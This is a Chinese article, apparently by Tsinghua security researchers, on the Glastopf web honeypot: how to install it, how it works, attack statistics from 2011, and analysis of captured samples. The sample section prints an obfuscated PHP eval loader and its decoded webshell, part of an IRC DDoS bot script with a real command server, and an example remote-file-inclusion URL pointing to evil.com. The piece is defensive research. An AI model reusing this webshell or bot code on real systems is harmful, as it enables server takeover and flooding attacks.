欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

Glastopf:Web应用攻击诱捕软件及案例分析

程序员文章站 2022-03-19 10:07:45
 Glastopf蜜罐安装过程说明   安装Glastopf的过程非常简单,由于它是使用Python语言开发,能够在目前主流操作系统上运行,包括各种Linux发行版(Ubuntu、Debia...
 Glastopf蜜罐安装过程说明

  安装Glastopf的过程非常简单,由于它是使用Python语言开发,能够在目前主流操作系统上运行,包括各种Linux发行版(Ubuntu、Debian、Centos)、Windows XP和Mac OSX等。下面在Linux发行版Ubuntu11.04上的安装过程进行具体介绍。

  首先需要在命令行下运行:

  sudo apt-get install python2.5 python-mysqldb subversion

  Glastopf需要python2.5+的支持,目前主流Linux发行版都默认安装了Python,在我们实际的安装过程中,Ubuntu11.04安装的是Python2.7.1+,Glastopf可以正常运行。由于python3.X较python2.X变化较多,所以安装过程中不要选择Python3.X版本。

  安装上述三个软件包后,通过Subversion 下载最新的Glastopf软件:

  svn co svn://82.165.193.71:9090/Glastopf/branches/unstable Glastopf

  下载完成后,会在下载目录看到名为Glastopf的文件目录,进入该目录后会看到webserver.py 主文件,在运行主文件之前,需要进入conf文件夹,对里面的glastopf.cfg等相关文件的配置参数进行修改,这里面需要修改的有Glastopf的IP地址,监听端口等;如果需要数据库支持,在安装数据库后,还应该在MySQL部分对MySQL的相关信息(IP地址、端口、用户名、密码、数据库名)进行修改。修改完成后,输入命令python webserver.py,Glastopf蜜罐软件便开始运行。

  启动后,Glastopf会自动在80端口进行监听(默认是80端口,也可以在配置文件中修改成你想监听的端口),模拟Web相关服务对外来攻击进行交互。

  当然仅启动Glastopf程序还是不够的,你还需要为蜜罐配置一个域名,并将域名提交给搜索引擎,这样才能更加有效地吸引使用Google Hacking等搜索引擎查找Web漏洞程序的攻击,每个搜索引擎都有域名提交的页面,供想要被检索的网站进行域名提交。笔者将域名提交到Bing和Google,并成功得到检索。Google最好在以下英文页面进行提交(笔者在谷歌中国提交的页面没有检索):

  https://www.google.com/webmasters/tools/submit-url?continue=http://www.google.com/addurl/&pli=1

  提交的域名经过搜索引擎检索后,在搜索引擎中搜索提交的域名,就能够显示相应的信息(需要经过一段时间)。那么攻击者是如何找到域名进行攻击,以及蜜罐如何模拟Web应用从而捕获攻击者的数据,我们将在下一节详细介绍。

  Glastopf蜜罐主要工作流程介绍

  诱惑攻击者上钩的Dorklist

  当前Web攻击寻找目标的一个重要方法便是利用Google Hacking技术,通过搜索引擎搜索存在弱点的网站。举一个简单的例子:著名的安全网站http:/ /packetstormsecurity.org每天都会公布互联网存在的漏洞,其中Web应用漏洞出现的频率很高,该网站在2011年7月16日公布了http://www.site.com//news_desc.php?Id=[Sqli]存在SQL注入漏洞,很明显news_desc.php?Id是该漏洞的关键字,黑客会利用该关键inurl:“news_desc.php”在搜索引擎中进行搜索,找到可能存在SQL注入的网站。

  Glastopf软件作者Lukas在分析了黑客的行为之后,聪明地构造了Dorklist机制,并将其放置在Glastopf/res/目录下的index.html文件中,其中记录了最新的漏洞关键字。读者可能会想到,当前新漏洞每天都会出现,如何把最新的漏洞关键字加入到Dorkl ist 中是一个很关键的问题。这里,Lukas考虑到攻击者在找到蜜罐所在的域名后,会对各种漏洞均进行尝试,例如上面给出的例子中,攻击者在试验了SQL注入攻击后,还有可能去尝试类似http://example.com/hackme.php?color=http://evil.com/shell.php这样的远程文件包含漏洞,这样关键字hackme.php?color便会被记录下来,并添加到Dorklist中,实现Dorklist的动态更新,使得Glastopf能够对最新的Web攻击数据进行记录。

  需要指出的是,目前Glastopf的实现中并没有对模拟的Web蜜罐系统做SEO(搜索引擎优化)来提高检索排名,但是从实际运行数据看,搜索结果并不影响蜜罐的实际工作,我们从2011年6月26日成功提交给Bing进行检索后,每天都会捕获大量攻击记录主要工作流程

Glastopf:Web应用攻击诱捕软件及案例分析

图1 工作流程概要图

  在攻击者利用Google Hacking找到蜜罐并开始发动攻击之后,Glastopf蜜罐如何与攻击者进行交互并捕获攻击数据成为另一项重要的工作。这里我们以Glastopf中比较成熟的远程文件包含漏洞模块为例,介绍Glastopf蜜罐的整体工作流程:

  首先,所有攻击进入蜜罐后大致要经过以下几个过程:

  攻击者提交的HTTP请求方法是区分对待的,如果是POST方法,那么整个提交数据都被存储到蜜罐中。如果是HEAD 方法,Glastopf 蜜罐会给予一个简单服务器应答。Glastopf能够很好地处理GET方法,当处理GET方法时,蜜罐首先判断出攻击是属于哪种类型,因此,蜜罐内会对已知的攻击类型进行定义,然后对攻击进行判断,例如:上一节所举案例中提到的”color”是一个存有恶意URL的变量,这就是经常遇到的攻击类型——远程文件包含。然后蜜罐会触发对远程文件包含所特有的处理函数,代码如下:

  if '=http://' in request:
  handle_rfi_request()

  这样上面的远程文件包含漏洞就会被相应的函数做进一步处理:

  图2是Glastopf对目前攻击进行分类并处理工作过程。

Glastopf:Web应用攻击诱捕软件及案例分析

图2 Glastopf对目前攻击进行分类并处理工作过程

  拿远程文件包含漏洞模拟(RFI)进行具体说明,对于一个典型的RFI攻击请求URL:

  http://example.com/hackme.php?color=http://evil.com/shell.php前面已经提到该攻击——远程文件包含已经被蜜罐识别出来,进一步我们首先要知道远程文件包含想要做哪些事,这类攻击实际上是想让一个恶意脚本在远程主机运行并获取相关的数据,所以当远程文件包含攻击发生时,获取到相关的脚本(必要时进行Base64 Decode处理),然后使用漏洞模拟器(函数)扫描脚本中的每一行,如果存在echo函数调用,对echo函数中的每一个变量进行替换并给出模拟值。例如,包含的文件中含有:

  <?php
  $un = @php_uname();
  $up = system(uptime);
  echo "uname -a: $un<br>";
  echo "uptime: $up<br>";
  ?>

  那么Glastopf会替换@php_uname()变量的值,这样当攻击者请求远程文件的内容时会得到如下模拟值:

  uname -a: GNU/Linux","Linux my.leetserver.com 2.6.18-6-k7<br>
  uptime: 19:42:43 up 3 days, 22:39, 1 user, load average: 0.9, 0.2 0.1
  <br>

  这样就模拟了一次与攻击者的交互。完成交互后,存储相关的攻击文件,最后把攻击事件记录到日志中,同时将漏洞关键字存储到Dorklist中。

  分布式部署

  由于单独部署一个蜜罐所获取到的数据具有一定局限性,如果将在分布式部署的Glastopf蜜罐节点的数据都收集起来,那么汇聚数据将能够更好的反映目前Web应用攻击现状。Glastopf支持分布式部署,每个部署节点都能通过内置的数据提交模块向核心数据库提交数据。核心数据库上面会用一个Python脚本对各个节点提交的数据进行接收,同时,数据汇集到数据库后,将通过几个分析模块进一步分析,包括对攻击源IP的定位等。

  Glastopf蜜罐捕获数据统计和样本分析

  清华大学网络与信息安全实验室自6月25日部署了Glastopf蜜罐,同时我们配置的域名***.***.edu.cn被Bing、Google等搜索引擎检索之后,截至到2011年10月31日,捕获了来自894个不同源IP地址的Web攻击4000多次,捕获到各种攻击文件样本426个。我们对这些攻击数据按照时间、地理位置等进行了统计,然后对某些典型的攻击样本进行了详细的分析。

  数据统计

  我们进一步结合GeoIP定位库对这些攻击源IP地址所在的国家进行查询和统计,图3给出了我们部署蜜罐所捕获Web攻击源IP数量排名前15的国家列表,前三位为美国、中国和法国。图4则给出了针对每个攻击源IP地址在部署期间捕获的发起攻击次数、攻击文件样本数及不同样本数的概率累积分布图(CDF),从图中可以看到目前绝大多数源IP对蜜罐发起的攻击数量均集中在10次以内。图5显示了十月份蜜罐每日捕获的攻击次数,区间为31次到280次,平均每日捕获106次攻击。

Glastopf:Web应用攻击诱捕软件及案例分析

图3 Glastopf采集的攻击来源前15名的国家

Glastopf:Web应用攻击诱捕软件及案例分析

图4 攻击概率累积分布图(CDF)

Glastopf:Web应用攻击诱捕软件及案例分析

图5 十月份每日蜜罐捕获Web攻击次数

  (数据采集时间2011年6月25日至10月30日,国家名和IP通过geoip[8]数据库进行查询并统计,IP地址根据直接攻击IP统计)

  (数据采集时间2011年6月25日至10月30日,横坐标为一个IP发起的攻击数量、攻击的文件数和不同的攻击文件数,纵坐标为攻击IP数量占整体IP数量的比例) Glastopf可以将攻击信息分为几类记录到MySQL数据库中,蜜罐作者根据捕获信息,分别定义了数据库表结构,在主机安装好MySQL数据库后,可以将structure目录下sql文件导入到命名为Glastopf的数据库中,这样就可以将有价值的数据输出至数据库中,便于分析。为了对攻击数据进行更好展现,Glaos项目组成员开发了针对Glastopf的Web UI 程序Glasif,用户只需要再安装Apache服务,配置相关的Glasif脚本,就可以访问到Glasif界面。

  通过对捕获日志进行分析,我们发现每天至少捕获了十几次攻击事件,包括网络中大量存在的Web应用漏洞扫描器探测扫描。攻击数据均存储在/root/Glastopf/files文件夹下。通过Glasif,能够对Glastopf捕获攻击数据进行很直观的查看和分析,并对一些数据,例如域名、攻击IP、攻击来源进行分类统计,下图统计了被攻击者利用的域名列表(这些被利用的域名都是黑客用来存储恶意脚本的,可能是黑客自己架设的服务器,也可能是被攻陷的某个网站服务器域名):

Glastopf:Web应用攻击诱捕软件及案例分析

图6 被利用域名情况统计

  蜜罐获取的Web攻击文件列表如下所示:

Glastopf:Web应用攻击诱捕软件及案例分析

图7 捕获文件地址统计

  Glastopf给每个捕获文件都进行MD5哈希运算,这样可以保证记录的文件不重复。

  4.2 两个攻击样本分析 www.2cto.com

  在所有捕获的数据中,抽取了两个典型的攻击样本,其中捕获的一个样本文件如下:

  <?php^M$vopcrew = "pZLNd8MwEITvgbyDIgyWIZT059Q0xdB
  YYg30TRCOvIpIecl15cYh5N0ryWTSUCCH3sTMzrfDosQgTJF8/b7mH5/
  L6QRRcgj9TLRi9mT3srGv9CwafEEMjk0immVSSBnfgLDtR0
  OgdMHJxtTF8spnIjstnDKaxDkJ2cGnLYQO
  duonlCR5Blrr9oMdfCXZGOPQK2fIRehOpNHNwzMOzwMo
  LD4Bv43SjH52bTaOvkeNYw2IFdQ1v2BCjPyiD4VhQ/
  booDkVMxuOrrCOhUM+S3TIyPdQW2NcGO1Ae1Gc9
  SLokosaCs1hrHkLUUrZ7urS0fz32lwh90TTTAEskQ
  HRmhb0Y2t3dvb3dzR8il2ld2CzXIKRPpJy5ECif+fD0k9Eb
  Wh+v2trypbkGMqK2mCgx9VeseA6q3AoK
  L8=";^Meval(gzinflate(str_rot13(base64_decode($vopcrew))));
  ^Mexit;

  可以看到该文件是一个P H P 文件,其内容经过了gzinflate、str_rot13、base64_decode三个函数的处理之后,再通过eval执行。很明显,我们在这个文件中添加一行输出语句,就能看到解码后的文件内容,经过整理后如下所示:

  <html>
  <?php
  $os = @PHP_OS;//获取系统
  echo "v0pCr3w<br>";
  echo "os:$os<br>";
  $cmd="id";
  $eseguicmd=exec($cmd); //执行命令
  echo $eseguicmd;
  function exec($cfe){
  $res = '';
  if (!empty($cfe)){
  if(function_exists('exec')){
  @exec($cfe,$res);
  $res = join("\n",$res); //如果$res是空,一行一个组成数组
  }
  elseif(function_exists('shell_exec')){
  $res = @shell_exec($cfe);
  }//shell_exec执行$cfe
  elseif(function_exists('system')){
  @ob_start();
  @system($cfe);
  $res = @ob_get_contents();
  @ob_end_clean();//system命令执行$cfe(系统某个信息)
  }
  elseif(function_exists('passthru')){
  @ob_start();
  @passthru($cfe);
  $res = @ob_get_contents();
  @ob_end_clean();//passthru计数返回contents 然后clean
  }
  elseif(@is_resource($f = @popen($cfe,"r"))){
  $res = "";
  while(!@feof($f)) { $res .= @fread($f,1024); }
  @pclose($f);
  }}//可读r模式查看$cfe并且每1204接一次包
  return $res;
  }
  ?>
  </html> 通过我们的注释可以看到,这段PHP脚本是一段可以执行输入shell命令并返回执行结果的Webshell。

  另外一个捕获到的Web攻击请求URL为:http://XX.XX.cn:8080/glasif/showrfi.php?
  url=http://sna.cl/ww/admin/spaw2/uploads/files/byroe.jpg??

  打开捕获文件,如下所示:

  <?
  /*
  * -JAVAHACK. since 2011
  * REcoding by: JAVAHACK community
  * COMMANDS:* .user <password> //login to the bot
  * .logout //logout of the bot
  * .die //kill the bot
  * .restart //restart the bot
  * .mail <to><from><subject><msg> //send an email
  * .dns<IP|HOST> //dns lookup
  * .download <URL><filename> //download a file
  * .exec <cmd> // uses exec() //execute a command
  * .sexec<cmd> // uses shell_exec() //execute a command
  * .cmd<cmd> // uses popen() //execute a command
  * .info //get system information
  * .php<php code> // uses eval() //execute php code
  * .tcpflood<target><packets><packetsize><port><delay> //tcpflood attack
  * .udpflood<target><packets><packetsize><delay> //udpflood attack
  * .raw <cmd> //raw IRC command* .rndnick //change nickname
  * .pscan<host><port> //port scan
  * .safe // test safe_mode (dvl)
  * .inbox <to> // test inbox (dvl)
  * .conback<ip><port> // conect back (dvl)
  * .uname // return shell's uname using a php function (dvl)
  *
  /set_time_limit(0);
  error_reporting(0);
  echo "ok!";
  class pBot
  {
  var $config = array("server"=>"jatimcrew.uk.to",
  "port"=>"6667",
  "pass"=>"",
  "prefix"=>"peak",
  "maxrand"=>"5",
  "chan"=>"#asu",
  "chan2"=>"#asu",
  "key"=>"bot",
  "modes"=>"+ps",
  "password"=>"asu",
  "trigger"=>".",
  "hostauth"=>"*" // * for any hostname (remember: /setvhostracun.dunia)
  );
  var $users = array();
  function start()
  {
  if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],
  $e,$s,30)))
  $this->start();
  $ident = $this->config['prefix'];

  ………………………………………………………部分省略

  从上面的代码可以看出,这是一个典型的PHP僵尸程序,该僵尸程序运行后,通过口令和密码进行连接到jatimcrew.uk.to所在的服务器6667端口,接受服务器控制。该程序能够进行DNS查询、系统信息查询、远程重启、远程运行文件等多种命令,还可以运行一些高级的远程IRC命令、远程扫描端口,进行TCP或者UDP泛洪攻击,如果僵尸主机组足够多的话,完全能够实施一次分布式拒绝服务(DDOS)攻击。在这个程序中,通过.tcpflood 192.0.2.0 1000 10080 1 命令就可以让僵尸主机以每秒1000数据包(包长为100)的速率向192.0.2.0主机的80端口发起攻击。

  Glastopf是一款在开源社区非常不错的低交互式Web应用蜜罐软件,由于代码全部使用Python编写,能够在各种主流操作系统平台上进行广泛部署,同时它的安装和配置过程相对简单,方便研究者和安全兴趣爱好者使用。通过我们在清华大学网络中心网络与信息安全实验室近三个多月的运行,我们发现它的稳定性也很好,共捕获到各种恶意攻击文件400多个,攻击4000多次,同时在Dorklist中更新了大量Web应用攻击点。整体来说,Glastopf能够基本完成Web应用蜜罐的功能。

  值得指出的是,Glastopf蜜罐还有很大的改进空间,特别是在与攻击者交互(模拟真实系统)、记录更多的攻击数据(XSS、SQL注入等)、分析捕获数据等方面。目前这些功能在GlastopfNG中正在积极开发,如果这些功能能够完整地添加到GlastopfNG中去,那么将使得该蜜罐成为一款功能更为强大的Web应用蜜罐。

  读者如果对Glastopf感兴趣进行部署,或者想增加其中的某些功能,进行模块编写,都可以联系本文作者或联系蜜罐作者Lukas Rist。需要特别指出的是,Lukas在开源社区的工作非常活跃,今年以来又编写发布了用来分析捕获的恶意文件样本的PHP Sandbox,以及用来捕获Webshell的PHPShell Honeypot等非常有意义的工具,感兴趣的读者可以参考http://dev.glastopf.org/网站,积极参与到开源项目中。

  (清华大学计算机科学与技术系、清华大学网络中心、CCERT 应急响应组)